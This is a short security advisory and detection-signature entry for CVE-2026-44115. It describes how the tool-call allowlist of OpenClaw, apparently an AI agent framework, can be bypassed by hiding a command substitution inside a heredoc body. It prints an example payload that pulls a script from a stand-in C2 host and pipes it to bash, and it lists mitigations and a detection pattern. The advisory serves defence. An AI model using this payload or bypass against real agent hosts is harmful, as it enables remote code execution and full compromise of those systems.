CVE-2026-44115 Heredoc Command Substitution Bypass
OpenClaw checks the visible command a tool call uses, like 'cat', but does not look inside heredoc text blocks attached to that command. An attacker can hide a command substitution such as $(curl ... | bash) inside the heredoc body, so when the shell expands it, arbitrary code runs even though the outer command looked safe.
How the attack works
An attacker crafts a tool request whose outer command is something allowed, such as 'cat'. Inside the arguments, they add a heredoc block (a '<<EOF ... EOF' text section normally used to pass literal text). Inside that heredoc body they place a shell command substitution like $(curl -s http://c2.local/s2.sh|bash). OpenClaw's allowlist only inspects the outer command name, not the heredoc contents, so the request passes validation. When the shell later expands the heredoc, it executes the embedded command substitution, running attacker-controlled code such as downloading and executing a remote script.
Netzilo detection
Netzilo can block this behaviour when it is observed.
- Signature ID
- netzilo-cve-2026-44115-001
- Severity
- High
- CVEs
- CVE-2026-44115
Why it matters
An attacker can achieve arbitrary command execution on the host running OpenClaw, using only an allowlisted-looking tool call, potentially leading to full compromise of the agent's execution environment.
What you can do
- →Reject or strip command substitution syntax ($(...) and backticks) inside heredoc bodies before passing tool arguments to a shell.
- →Re-scan the entire tool argument string, including heredoc contents, against the allowlist rather than only the outer command.
- →Avoid invoking a real shell for tool execution where possible; use argument arrays passed directly to exec-style calls instead of shell interpretation.
- →Monitor tool requests containing heredoc markers ('<<') combined with '$(' or backticks, and alert on outbound network calls immediately following such requests.
Known benign look-alikes
- Very low. Legitimate MCP tool calls do not embed heredocs with command substitution.